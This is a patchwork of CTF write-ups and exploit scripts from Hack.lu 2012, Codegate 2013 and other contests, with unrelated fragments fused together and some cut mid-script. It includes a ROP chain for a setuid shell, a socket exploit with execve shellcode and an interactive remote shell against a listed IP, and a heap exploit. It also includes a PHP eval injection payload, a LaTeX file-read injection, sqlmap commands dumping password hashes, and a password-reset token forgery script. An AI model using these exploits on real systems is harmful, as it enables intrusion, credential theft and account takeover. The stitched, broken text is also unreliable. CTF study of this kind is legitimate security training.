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Hack.lu 2012 Zombie-lockbox (200) Writeup by cutz
ctf@zombie_lockbox:~$ file zombie-lockboxzombie-lockbox: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x85b329ae9ddc0039a4a3a7a0d42ed1098eda09c1, not stripped
zombie-lockbox was also 32 bits, dynamically linked and did nothing but ask for a password to drop a shell if it is correct:
ctf@zombie_lockbox:~$ ./zombie-lockboxZOMBIE AUTHENTICATION SYSTEM ONLY ZOMBIES MAY ENTERPassword: ASDASDYou are not allowed to enter!ctf@zombie_lockbox:~$
ctf@zombie_lockbox:~$ strings zombie-lockbox/lib/ld-linux.so.2__gmon_start__libc.so.6_IO_stdin_usedputs__stack_chk_failstdinprintffgetsexecvestrcmp__libc_start_main/lib/libcGLIBC_2.4GLIBC_2.0PTRhQVh$D$\1T$\e3UWVS[^_]z0mb1ez_haq_teh_sh1tZOMBIE AUTHENTICATION SYSTEM ONLY ZOMBIES MAY ENTERPassword:You are allowed to enter!/bin/shYou are not allowed to enter!;*2$"
So one might think that z0mb1ez_haq_teh_sh1t is the correct password and it actually worksbut only if it looses its suidbit, for example under gdb:
(gdb) rStarting program: /home/ctf/zombie-lockboxZOMBIE AUTHENTICATION SYSTEM ONLY ZOMBIES MAY ENTERPassword: z0mb1ez_haq_teh_sh1tYou are allowed to enter!process 30610 is executing new program: /bin/dashwarning: Selected architecture i386:x86-64 is not compatible with reported target architecture i386Architecture of file not recognized.(gdb)
However, if you use ldd, you see that it used a different version of libc than all the other challenges:
ctf@zombie_lockbox:~$ ldd zombie-lockbox linux-gate.so.1 => (0xf773f000) libc.so.6 => /lib/libc/libc.so.6 (0xf7596000) /lib/ld-linux.so.2 (0xf7740000)ctf@zombie_lockbox:~$
You could now either search for the hacked part inside that libc or simply diff it with the original one:
ctf@zombie_lockbox:/tmp/cutz_STUFF$ strings /lib32/libc-2.15.so > 2ctf@zombie_lockbox:/tmp/cutz_STUFF$ strings /lib/libc/libc.so.6 > 1ctf@zombie_lockbox:/tmp/cutz_STUFF$ diff 1 23575,3579c3575,3578< @dlol_< @hz0mb< @l1ez_< @pc4nt< @t_haq---> JsX1> Js>1> Js$1> @+D$8643c8642< GNU C Library (Ubuntu EGLIBC 2.15-0ubuntu10.2) stable release version 2.15, by Roland McGrath et al.---> GNU C Library (Ubuntu EGLIBC 2.15-0ubuntu10.3) stable release version 2.15, by Roland McGrath et al.8649c8648< Compiled on a Linux 3.2.28 system on 2012-09-29.---> Compiled on a Linux 3.2.30 system on 2012-10-05.
Strings are different so you can see the new password: lol_z0mb1ez_c4nt_haqIf you are interested: The hacked part of libc was the 2nd call inside of puts() (which actually is a strlen()):
ctf@zombie_lockbox:/tmp/cutz_STUFF$ gdb /lib/libc/libc.so.6(gdb) disas putsDump of assembler code for function puts: 0x00067a30 <+0>: sub $0x3c,%esp 0x00067a33 <+3>: mov %ebx,0x2c(%esp) 0x00067a37 <+7>: mov 0x40(%esp),%eax 0x00067a3b <+11>: call 0x12a2e3 0x00067a40 <+16>: add $0x13b5b4,%ebx 0x00067a46 <+22>: mov %edi,0x34(%esp) 0x00067a4a <+26>: mov %ebp,0x38(%esp) 0x00067a4e <+30>: mov %eax,(%esp) 0x00067a51 <+33>: mov %esi,0x30(%esp) 0x00067a55 <+37>: call 0x7dff0(gdb) x/10i 0x7dff0 0x7dff0: nop ... 0x7e004: nop 0x7e005: cmp $0x8048708,%eax 0x7e00a: je 0x7e01a 0x7e00c: cmp $0x804874a,%eax 0x7e011: je 0x7e02e 0x7e013: cmp $0x804876c,%eax 0x7e018: je 0x7e034 0x7e01a: mov $0x31,%eax 0x7e01f: int $0x80 0x7e021: cmp $0x3e9,%eax(gdb) 0x7e026: je 0x7e03a 0x7e028: mov $0x35,%eax 0x7e02d: ret 0x7e02e: mov $0x19,%eax 0x7e033: ret 0x7e034: mov $0x1d,%eax 0x7e039: ret 0x7e03a: mov $0x8049ffc,%eax 0x7e03f: movl $0x5f6c6f6c,0x64(%eax) 0x7e046: movl $0x626d307a,0x68(%eax)(gdb) 0x7e04d: movl $0x5f7a6531,0x6c(%eax) 0x7e054: movl $0x746e3463,0x70(%eax) 0x7e05b: movl $0x7161685f,0x74(%eax) 0x7e062: mov $0x35,%eax 0x7e067: ret
So finally:
ctf@zombie_lockbox:~$ ./zombie-lockboxZOMBIE AUTHENTICATION SYSTEM ONLY ZOMBIES MAY ENTERPassword: lol_z0mb1ez_c4nt_haqYou are allowed to enter!$ cat FLAGGETEUID_YOU_NASTY_BITCH
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<div id="form"><form method="POST" style=" width:900px; margin:auto;"><label for="name">Name<input type="text" id="name" name ="name"></label><label for="text">Text<textarea name="text" id="text"></textarea></label><label for="solution">Spam protection: 9-system('cat /6f170bcecda1ca8d3a5435591202988881b34bad')-9<input type="text" id="solution" name="solution"></label><input type="submit" id="submit" name="submit" value="Post">
<label for="name">Name<input type="text" id="name" name ="name"></label>
<label for="text">Text<textarea name="text" id="text"></textarea></label>
<label for="solution">Spam protection: 9-system('cat /6f170bcecda1ca8d3a5435591202988881b34bad')-9<input type="text" id="solution" name="solution"></label> |
Hack.lu 2012 Braincpy (300) Writeup by cutzctf@braincpy:~$ file braincpybraincpy: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.9, not stripped
Braincpy was an ELF, according to file 32 bits and statically linked.
ctf@braincpy:~$ file braincpybraincpy: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.9, not stripped
Running it with a long argv[1] yielded in a direct strcpy() stackoverflow:
(gdb) r `perl -e 'print "A"x96'`The program being debugged has been started already.Start it from the beginning? (y or n) y
Starting program: /home/ctf/braincpy `perl -e 'print "A"x96'`NOMNOMNOM!
Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()
However if we use more than 96 chars, which is exactly enough to smash EIP, it exits before the overflow can happen.
ASLR and NX were activated, so you carefully had to choose your gadgets. I chose a nice ESP pivoting gadget with help of EBP at 0x080df815, so afterwards ESP would point backto the beginning of the buffer. There we had enough space to setuid(1001) and execve(/bin/sh).Exploit looked like this:
#!/usr/bin/perl# hack.lu 2012 Braincpy exploit# run with ./braincpy "`perl expl.pl`"# cutz
$payload =
pack("I", 0x080dbc2c). # pop %ecxpack("I", 0x080d0a4e). # ptr-0xa => 1001 pack("I", 0x080dbfcf). # add $0xa(%ecx), %ebxpack("I", 0x080beb89). # pop %eaxpack("I", 0xffffffe9). # -23pack("I", 0x08054e7f). # neg %eaxpack("I", 0x0805b5c0). # int $0x80pack("I", 0x0805adec). # pop %edxpack("I", 0x080e4701). # +wpack("I", 0x080beb89). # pop %eax"//sh".pack("I", 0x080dbc2c). # pop %ecx "/bin".pack("I", 0x08048c0c). # mov %ecx, $0x14(%edx) ; mov %ebp, $0xc(%edx) ; mov %eax, $0x18(%edx)pack("I", 0x0805ae15). # pop %edx, pop %ecx, pop %ebxpack("I", 0x080e4701). # 0pack("I", 0x080e4701). # 0pack("I", 0x080e4715). # +w + 0x14pack("I", 0x080beb89). # pop %eaxpack("I", 0xfffffff5). # -11pack("I", 0x08054e7f). # neg %eaxpack("I", 0x0805b5c0). # int $0x80pack("I", 0x08086c12). # ptr-0xa => 0xffffffa0pack("I", 0x080df815); # add $0xa(%ebp), %esp
print $payload
So:
ctf@braincpy:~$ ./braincpy "`perl /tmp/cutz_STUFF/expl.pl`"$ cat FLAGROP_GOLF_IS_A_NICE_GAME
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#!/bin/python
# exploit write up - pwnables 200 Defcon 20 CTF# by @_g05u_ NULL Life FTW! import socket, struct
#jump to shellcode in stackret = struct.pack(" |
Misc 200 Task:There are rumors that Lamevich could be a spy.. Check it please, maybe you could find something in the "Very Brown Square"...I used Stegsolv.Open the file "square.gif".Click "<" button twice.So, the flag can be seen.So easy, isn't it?41306ef63420760771deff1a0db76888 |
Fire up gdb and start snooping around in the binary. To our luck, the ELF still has debugging symbols, so all of the function calls have obvious names. |
23 - Spambot
The zombies are planning an invasion. But before they can start they want to scare the people by sending scary messages. Because zombies are not able to write letters they've developed a platform which automatically submits messages to guestbooks or comment platforms. A careless zombie lost his note about the spambot. So we found the URL of it.
https://ctf.fluxfingers.net:2075/spambot/
Stop them!
Write-up : http://xelenonz.blogspot.com/2012/10/hacklu-spambot-200-pt.html |
I reverse engineered the binary to find the encoding function, converted it to Python, and verified correctness. I then wasted a bunch of time making an iterative bruteforcer, until I realized that the encoding function is basically equivalent to:
bits('RTFM') + tab[buf[0]] + '00' + tab[buf[1]] + '00' + ... + tab[buf[n]]
where tab is a mapping from ascii characters to variable-length bitstrings, with the important property that they start and end with 1s, and contain no 00s. (match /^1.*1$/ but not /00/)
After that, decoding is simple. |
We were ready to deobfuscate JavaScript, but there wasn't need to do it.We just opened the link in Firefox with Firebug enabled. In the <body> element we saw:<div id="a" data-a="function dafug(){if (prompt("Lets eat some ...?")=="tasty brainz")alert("Flag: tasty_humans_all_day_erry_day"); };"></div>So, we got this flag ;) |
#!/usr/bin/perl# codegate2013 vuln400 exploit# cutz## $ (perl expl_vuln400.pl;cat) | nc 58.229.122.20 6666# _______________________________ # /==============================/ # | Onetime Board Console | # /------------------------------/ # | | WELCOME | | # |__________|_________|_________| # | W a i t | # ++++++++++++++++++++++++++++++++ # .....# => Author : Title : # 1. delete 2. modify 3. reply 4. back# => id# uid=1000(onetime) gid=1000(onetime) groups=1000(onetime)# cd /home/onetime # ls# key.txt# onetime# cat key.txt# U_g0t_M4_Buddy_write("YOLO", "YOLO", "A"x36 . pack("I", 0x80487c4) . "A"x604 . pack("I", 0x80487c4) . "\x30\x86\x04\x08"x80) for 1 .. 7;for (1 .. 7) { _read($_); _reply("YOLO") for 1 .. 127; _back(); _back();}for (2 .. 6) { _read($_); _delete(); _back(); _back();}_write("YOLO", "YOLO", "YOLO") for 1 .. 2;_read(8);_reply("sh") for 1 .. 127;_modify("A", "B");_delete();_exit();sub _read{ $num = shift; $cmd = "2\n" . "$num\n"; print($cmd);}sub _delete{ $cmd = "1\n"; print($cmd);}sub _modify{ $author = shift; $title = shift; $cmd = "2\n" . "$author\n" . "$title\n"; print($cmd);}sub _reply{ $msg = shift; $cmd = "3\n" . "$msg\n"; print($cmd);}sub _back{ $cmd = "4\n"; print($cmd);}sub _exit{ $cmd = "3\n"; print($cmd);}sub _write{ $author = shift; $title = shift; $content = shift; $cmd = "1\n". "$author\n". "$title\n". "$content\n"; print($cmd);}sub print{ $cmd = shift; open F, ">$file"; print F $cmd; close F;} |
There was no clear goal given in the challenge description text (as guessing was the key skill needed in this CTF), so we decided to just poke around on the website. We immediately got an error message urging us to use a mobile browser. Given the clear affinity of the CTF hosts twoards iPhones, we just changed our User-agent to "iPhone" (using general.useragent.override in about:config) which worked quite nicely.The site was a well-built "game simulator" simulating awesome + and - Buttons to increase and decrease your stats. Additionally, saving a memo was possible, too! Overwhelmed by the functionality of the site, we quickly discovered the main.js file which contained some automatically obfuscated JavaScript. Jsbeautifier.org returned unobfuscated code revealing that links are built clientside and probably verified serverside (a kind of HMAC - just badly implemented). The p-Parameter contains the file that should be loaded and the s-Parameter contains the following: calcSHA1(page + "Ace in the Hole");Too lazy to reimplement this complex (!!) operation in Python, we just opened the Firebug console and since calcSHA1 leaked to the global window object, we could just create our links directly in the browser. Trying to load index.php got us uninterpreted PHP-Code. Nice. So... what's the goal of the challenge again? After a short visit to the IRC just to flame about the unclear descriptions we loaded the simulator.php-file and noticed these lines:if ($_POST['name'] == "GM") die("you can not view&save with 'GM'");if (isset($_POST['name'])) $_SESSION['scrap']=$_POST['name'];$db = sqlite_open("/var/game_db/gamesim_".$_SESSION['scrap'].".db");So, GM is the thing we want to have in the name-Parameter? Let's give it a try: Using "/../gamesim_GM" as the name lets us bypass the if-condition and loads the file "/var/game_db/gamesim_/../gamesim_GM.db" which works nicely because entering a non-existent path and leaving it with "../" will not result in an error (due to normalization?). And this was it. The flag was waiting in the memo field for us. 500 Points for the flag "W3LC0M3_T0_L0L0L0L" left us wondering why so few teams solved that challenge which was not harder than any of the other web-challenges. |
\documentclass{article}
\begingroup\makeatletter\endlinechar=\m@ne\everyeof{\noexpand}\edef\x{\endgroup\def\noexpand\TeXpath{\@@input"/home/awesker/cure" }}\x
\begin{document}
{\catcode`_=12 \ttfamily@@\input{|"ls /home/awesker/" }
}
\TeX{} is \TeXpath\end{document} |
# codegate2013 bin100 solution# cutzusing System;using System.Text;using System.Security.Cryptography;namespace test{ class Program { public static string KeyValue = "9e2ea73295c7201c5ccd044477228527"; public static byte[] d = new byte[] { 0x3f, 30, 0x39, 0x2f, 20, 0x4e, 50, 0x36, 0x33, 5, 0x25, 0x29, 0x52, 40, 0x45, 30, 0x2a, 0x38, 0x24, 0x49, 60, 0x44, 0x4f, 0x56, 0x18, 0x49, 0x4c, 0x13, 9, 0x1b, 0x2a, 4, 0x52, 0x2a, 0x1c, 0x56, 0x4f, 11, 0x11, 0x3f, 0x17, 14, 0x30, 0x40 }; public static void Main(string[] args) { Console.WriteLine("Flag: " + Decrypt(StringToXOR(ByteTostring_t(d)), KeyValue)); Console.ReadKey(true); } public static string StringToXOR(string data) { byte[] bt = new byte[data.Length]; bt = stringTobyte(data); for (int i = 0; i < bt.Length; i++) { bt[i] = (byte) (bt[i] ^ 0x25); bt[i] = (byte) (bt[i] ^ 0x58); } return ByteTostring(bt); } public static string ByteTostring(byte[] bt) { string str = ""; for (int i = 0; i < bt.Length; i++) { str = str + Encoding.Default.GetString(bt, i, 1); } return str; } public static byte[] stringTobyte(string str) { return Encoding.UTF8.GetBytes(str.ToCharArray()); } public static string Decrypt(string textToDecrypt, string key) { RijndaelManaged managed = new RijndaelManaged { Mode = CipherMode.CBC, Padding = PaddingMode.PKCS7, KeySize = 0x100, BlockSize = 0x100 }; byte[] inputBuffer = Convert.FromBase64String(textToDecrypt); byte[] bytes = Encoding.UTF8.GetBytes(key); byte[] destinationArray = new byte[0x20]; int length = bytes.Length; Array.Copy(bytes, destinationArray, length); managed.Key = destinationArray; managed.IV = destinationArray; byte[] buffer4 = managed.CreateDecryptor().TransformFinalBlock(inputBuffer, 0, inputBuffer.Length); return Encoding.UTF8.GetString(buffer4); } public static string ByteTostring_t(byte[] buf) { return Encoding.UTF8.GetString(buf); } }} |
<span>In The Name Of GOD;)hi my bro's;)It is very easy</span>:Dq parameters is injectable:Duse sqlmap for inject:D<< sqlmap.py -u http://backdoor-problems.cognizance.org.in/web200/submit.php --data q=a -p q --threads 10 --tables >>dump tables:Dflagsusersdump flags table with command:<< sqlmap.py -u http://backdoor-problems.cognizance.org.in/web200/submit.php --data q=a -p q --threads 10 --sql-query="select * from flags" >>get flag:Pgood luck;) |
Dethstarr was one of my favorite service exploitation challenges during the SecuInside 2012 contest. We had to fully reverse a given binary to understand how the protocol it implements works. To be able to debug the binary easily and in the same environment as on the remote server... |
#!/usr/bin/perl# codegate2013 vuln200 exploit# cutz# # perl expl_vuln200.pl 58.229.122.19 7777# [x] exploit successfull# $ id# uid=1001(codegate2013) gid=1001(codegate2013) groups=1001(codegate2013)# $ ls# dump.txt# key# logs# pwn2# $ cat key# Key is "This_is_C0G6ESTYL3!_:)"use strict;use warnings;use IO::Socket;$|++;my $ip = shift;my $port = shift;my $sock;my $buf;$sock = new IO::Socket::INET ( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp', ) or die "Conn failed", $/;sysread $sock, $buf, 1024, 0;my $payload = "write" ."A"x240 . pack("I", 0x08048780) .pack("I", 0x0804c000) .pack("I", 0x00000004) .pack("I", 0x0804c000) .pack("I", 0x00000100) .pack("I", 0x00000000);print $sock $payload;select undef, undef, undef, 0.101;print $sock"\x31\xc9\x6a\x3f\x58\x6a\x04\x5b\xcd\x80" ."\x41\x83\xf9\x03\x75\xf2\x6a\x0b\x58\x99" ."\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" ."\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";sysread $sock, $buf, 1024, 0;print $sock "echo EXPLOITED", $/;sysread $sock, $buf, 1024, 0;sysread $sock, $buf, 1024, 0;if ($buf =~ /^EXPLOITED/) { print "[x] exploit successfull", $/;} else { print "[x] failed", $/; close $sock; exit;}my $cmd; while (1) { print "\$ "; $cmd = <>; print $sock $cmd; sysread $sock, $buf, 1024, 0; print $buf;}close $sock; |
package main
import "crypto/aes"import "fmt"import "encoding/hex"
var start = []byte("AES-256 ECB mode twice, two keys")var end = []byte("\x4c\x76\xe9\x07\x86\xc4\xf3\x64\x6a\xdf\x99\x21\x7a\x64\xd0\xd7\x49\xed\xc5\x9f\x2c\x7f\xbb\x36\x58\xaf\x04\xaf\x07\x1d\x0c\x47")
var reverse = make(map[string][32]byte)
func main() { var keys[1<<24][32]byte for i := 0; i < 1<<24; i++ { keys[i][29] = byte(i & 0xff); keys[i][30] = byte((i >> 8) & 0xff); keys[i][31] = byte((i >> 16) & 0xff); }
for i := 0; i < 1<<24; i++ { b, _ := aes.NewCipher(keys[i][:]) dest := make([]byte, 16) b.Encrypt(dest, start[:16]) reverse[hex.EncodeToString(dest)] = keys[i] }
fmt.Println("Encoded all the things")
for i := 0; i < 1<<24; i++ { b, _ := aes.NewCipher(keys[i][:]) dest := make([]byte, 16) b.Decrypt(dest, end[:16]) if v, ok := reverse[hex.EncodeToString(dest)]; ok { fmt.Println(hex.EncodeToString(v[:])) fmt.Println(hex.EncodeToString(keys[i][:])) return } }} |
~~~THE TASK~~~
Zombies got communication-problems because of their heterogeneity, so they defined a standard for their communication. We need to know how to decrypt their messages in order to successfully defeat them. Luckily, a friend of mine found one of those encrypted messages:
0x1be15dc 77676058612 03062372 676 0x9542 0x2546c9ec 02614610 0x3b3154e5a0a923ff
Hint: uppercase seems legit. credits: 100 +3 (1st), +2 (2nd), +1 (3rd)
~~~THE SOLUTION~~~
We see here some words, which are represented by 16-, 10- and 8-digit integers.Let's transform these integers, so each of them would be 36-digit. So, we get:
17 14 21 21 2435 24 22 11 18 14 2817 14 27 1418 28 29 17 14 10 12 12 14 28 28 15 21 10 1632 14 21 24 31 14 11 27 10 18 24 0
Each of the 'digits' may represent a digit (0-9) or an uppercase letter (A-Z). We know, that uppercase letters are legit. So, we try to find out the correspondence between our 'digits' and these letters.
We suppose that the first string is HELLO, so we get:
H - 17E - 14L - 21O - 24
We also think about rather a rare combination of double letters
10 12 12 14 28 28
and this appears to be ACCESS.
So:
A - 10C - 12S - 28
Finally, we see, that each letter corresponds to the number
9+i
where i is the place of this latter in the alphabet.
The whole message is:
HELLOZOMBIESHEREIS THE ACCESSFLAGWELOVEBRAIN0
(the final zero is strange).
We try WELOVEBRAIN0 and WELOVEBRAIN, but get a mistake. After a few attempts we find out that the flag is WELOVEBRAINZ. |
#!/usr/bin/python
from z3 import *
data = [ord(c) for c in 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string2 = [ord(c) for c in "".join(["\x31\x30\x30\x31\x30\x30\x31\x30\x30\x30\x30\x30\x31\x31\x30\x30","\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x30\x30\x30\x30\x31\x31","\x31\x30\x30\x30\x30\x31\x30\x31\x30\x31\x30\x30\x31\x30\x31\x30","\x31\x31\x31\x31\x31\x30\x30\x31\x31\x30\x31\x31\x31\x30\x30\x31","\x30\x31\x31\x30\x31\x30\x31\x31\x30\x30\x31\x30\x31\x31\x31\x31","\x30\x30\x30\x31\x31\x31\x31\x31\x31\x30\x31\x30\x30\x31\x31\x31","\x30\x30\x30\x31\x30\x31\x30\x31\x31\x30\x31\x30\x31\x30\x31\x31","\x30\x31\x31\x31\x31\x30\x30\x31\x31\x30\x30\x31\x31\x30\x31\x31",])]
string3 = [ord(c) for c in "".join(["\x31\x31\x31\x30\x31\x31\x30\x31\x31\x31\x30\x30\x31\x30\x31\x31","\x31\x31\x31\x31\x30\x30\x31\x30\x30\x30\x30\x31\x30\x31\x30\x31","\x30\x31\x31\x31\x31\x31\x30\x30\x31\x30\x31\x31\x30\x30\x31\x30","\x31\x30\x31\x30\x31\x30\x31\x31\x30\x30\x30\x31\x31\x30\x30\x31","\x31\x31\x31\x30\x30\x30\x30\x31\x31\x30\x31\x31\x30\x30\x30\x31","\x31\x30\x31\x30\x31\x30\x31\x30\x30\x31\x30\x30\x30\x31\x31\x31","\x30\x30\x30\x30\x30\x31\x31\x30\x31\x31\x30\x31\x30\x31\x31\x31","\x30\x30\x31\x30\x30\x31\x30\x30\x31\x30\x30\x31\x31\x31\x31\x31",])]
scratch_buf = [ord(c) for c in "".join(["\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30","\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31",])]
def newBool(): newBool.i += 1 return Bool('b' + str(newBool.i))newBool.i = 0
class Buffer(object): def __init__(self, solver, values): self.solver = solver self.vals = [] for b in values: v = newBool() if b == 0x30: solver.add(v == False) else: solver.add(v == True) self.vals.append(v)
def __getitem__(self, index): return self.vals[index]
def __setitem__(self, key, value): v = newBool() solver.add(v == value) self.vals[key] = v
solver = Solver()buf = Buffer(solver, scratch_buf)string1 = BoolVector("string1", 0x80)string2 = Buffer(solver, string2)string3 = Buffer(solver, string3)
actually_zeros = []for off in xrange(0, 0x80, 0x20): for i, b in enumerate(string1[off:off+0x20] + string2[off:off+0x20]): buf[i] = b
for i in xrange(0, 0x52e0, 3): buf[data[i + 2]] = Xor(buf[data[i+2]], And(buf[data[i]], buf[data[i+1]]))
actually_zeros += buf[:0x20]
for i, v in enumerate(actually_zeros): solver.add(v == string3[i])
print "Loaded constraints"print solver.check()print "Checked!"m = solver.model()ans = "".join("1" if eval(str(m[v])) else "0" for v in string1) print ''.join(chr(int(ans[i:i+8], 2)) for i in xrange(0, len(ans), 8)) |
#!/usr/bin/env python2## see: https://github.com/fx5/not_random and related article
import sysimport osimport gzipimport randomfrom itertools import imapimport hashlib
from lxml.etree import parse
from progress import ProgressBar
#HOST = 'example.com'HOST = 'ctf.phdays.com:12391'USERN = int(sys.argv[1])EMAIL = 'user%[email protected]' % USERNBROWSER = 'chromium'
print "Loading Magic"f = gzip.GzipFile("magic_data","r")magic = eval(f.read())f.close()print "Done."
print "Working...."
progress = ProgressBar()
def rebuild_random_from_string(string): return rebuild_random(list(imap(ord, string)))
def rebuild_from_floats(floats): s = "".join(chr(int(i * 256)) for i in floats) return rebuild_random_from_string(s)
def rebuild_random(vals):
def getbit(bit): assert bit >= 0 return (vals[bit // 8] >> (7 - bit % 8)) & 1
state = []
for i in xrange(0, 624): progress.progress(i / 623.) val = 0 data = magic[i % 2] for bit in data: val <<= 1 for b in bit: val ^= getbit(b+(i//2)*8 - 8) state.append(val)
state.append(0)
ran = random.Random() ran.setstate((3, tuple(state),None))
for i in xrange(len(vals) - 3201 + 394): ran.randint(0,255)
return ran
def random_floats(length, random_module=random): return [random_module.random() for i in range(length)]
def get_floats(n=3360):
os.popen(r''' curl -v \ http://%(host)s/\?count\=%(count)d -o rw500_resp \ http://%(host)s/password_reset/ \ -d csrfmiddlewaretoken=23ca27c3882e0b9a1964d96e44c0481e \ -d email=%(email)s \ -H 'Cookie: csrftoken=23ca27c3882e0b9a1964d96e44c0481e' cat rw500_resp | \ sed 's/=\([0-9.]\+\)/="\1"/g' | \ sed 's,\(rand .*\)>,\1/>,g' >rw500_resp.xml ''' % {'host': HOST, 'count': n, 'email': EMAIL} ).close()
xml = parse('rw500_resp.xml')
return list(map(float, xml.xpath('rand/@value')))
if __name__ == "__main__":
floats = get_floats(3400)
my_random = rebuild_from_floats(floats[:3360])
for n, (i, j) in enumerate(zip(floats[-40:], [my_random.random() for i in range(40)])): assert '%.16f' % i == '%.16f' % j, Exception('%d (%f)' % ( n, abs(i - j) ))
for i in range(5): url = 'http://%s/reset/%d-%s/' % ( HOST, USERN, hashlib.md5('%.16f' % my_random.random()).hexdigest() ) print(url) os.popen3('%s %s' % (BROWSER, url)) |
In The Name Of GOD;)hi my bro's;)<span>It is very easyDifference is that the web 150 is just the type of inject;)blind</span> injection:Puse sqlmap for inject:)<< sqlmap.py -u http://backdoor-problems.cognizance.org.in/web500/submit.php --data id=1 -p id --threads 10 --sql-query="select password from users where name='admin'" >>hash of admin password dumped;)good luck;) |
The trick here was to spot the vulnerability. The scripts loads html from a controlled webpage with @file_get_contents(). It then parses the html for forms with regex to solves a basic math problem, with unescaped eval(). Finally the page submits a post request to the controlled webpage with file_get_contents(). |
# Rookie Agent
## The Given
We have intercepted this encrypted message. Since the agent who has sent it, is not a pro, we believe decrypting it would be easy. Good luck!
6di16 ovhtm nzsls xqcjo 8fkdm tyrbn g4bg9 pwu9g lefmr k4bg9 ahmfm tyr4b g9htm 7ejcn zsbng 492cj olsxq 9glef mrk4b g9ahm fmtyr lsxq7 ejccj o9gle 9gle8 fkdls xq8fk dhtmn zs7ej c8fkd szxbn g4bg9 pwu7e jccjo 9gle9 gle8f kdlsx q8fkd htmnz s6dii pufmr kipul sxqmt yrmty ripug nslip u9gle 7ejc8 fkdgn sllsx qmtyr krwpo v4bg9 lsxq8 fkdmt yr16g nsl8f kdlsx q8fkd 6dinz s4bg9 htmah mffmr k8fkd mtyr1 6gnsl 8fkd8 fkdpw u8fkd htmfm rkcjo elqj8 fkdnz slsxq cjo4b g9htm ahmff mrk8f kd7ej c8fkd htmnz sbng8 fkdls xq8fk dlsxq mtyrs zxgns l5ha1 6fmrk cjo6d i9gle fmrk4 bg9ah mfmty rfmrk cjoel qj8fk dnzsb ng8fk d6dib ng8fk d6die lqj8f kdlsx q8fkd 7ejc9 glefm rk4bg 9ahmf 9gle1 6lsxq mtyrc joahm fhtm4 bg9fm rkcjo htmah mfnzs bng8f kd8fk dhtm7 ejc16 9gle4 bg9ls xq4bg 96di8 fkd16 lsxqq xvbng cjonz s8fkd 9glef mrk4b g9ahm fipu9 glejq vo8fk d4bg9 6di8f kd5ha ovnzs 4bg9f mrkfm rk7ej ccjot y9gle 4bg96 dinzs mtyr4 bg9ls xq8fk dcjol sxqls xq8fk dfmrk 8fkdp wu4bg 9htmn zs9gl efmrk 4bg9a hmfcj omtyr 4bg9m tyrcj omtyr ovhtm 7ejc8 fkdls xqfmr kcjoh tm8fk d4926 dib44 bg907 c6di4 9229e 707c5 ha492 38107 c6di2 705a3 49216 b43af 8381b 45a35 ha270 3af84 bg98f kd3af 83af8 5a3b4
## Analysis
So this is a known-ciphertext (a.k.a. ciphertext-only) attack.
As standard, we always start with some recon. Hopefully, something wesee from our analysis is 'interesting' in some way that makes us pursuefurther. Here's a list of what we did.
* Collapse away the newlines and spaces. There is a chance that the blocks of five are a reflection of the fact that this is could be a historical cipher, but most of the analysis we could do on this visual form we could do more easily on a cleaned up form.* For n-grams, where n is 1..6, what is the used alphabet? Frequency analysis? Is the character usage uniform? (It totally is not)
Here is the distribution of all characters:
f: 67 m: 56 k: 54 g: 51 d: 48 9: 44 l: 43 8: 42 s: 40 b: 35 r: 33 4: 32 j: 30 t: 30 c: 29 e: 29 h: 28 n: 26 q: 25 x: 23 a: 21 o: 21 6: 20 i: 17 7: 16 y: 16 z: 15 1: 10 p: 10 3: 9 u: 9 2: 8 5: 7 v: 6 0: 5 w: 5
Here is the distribution of all bigrams:
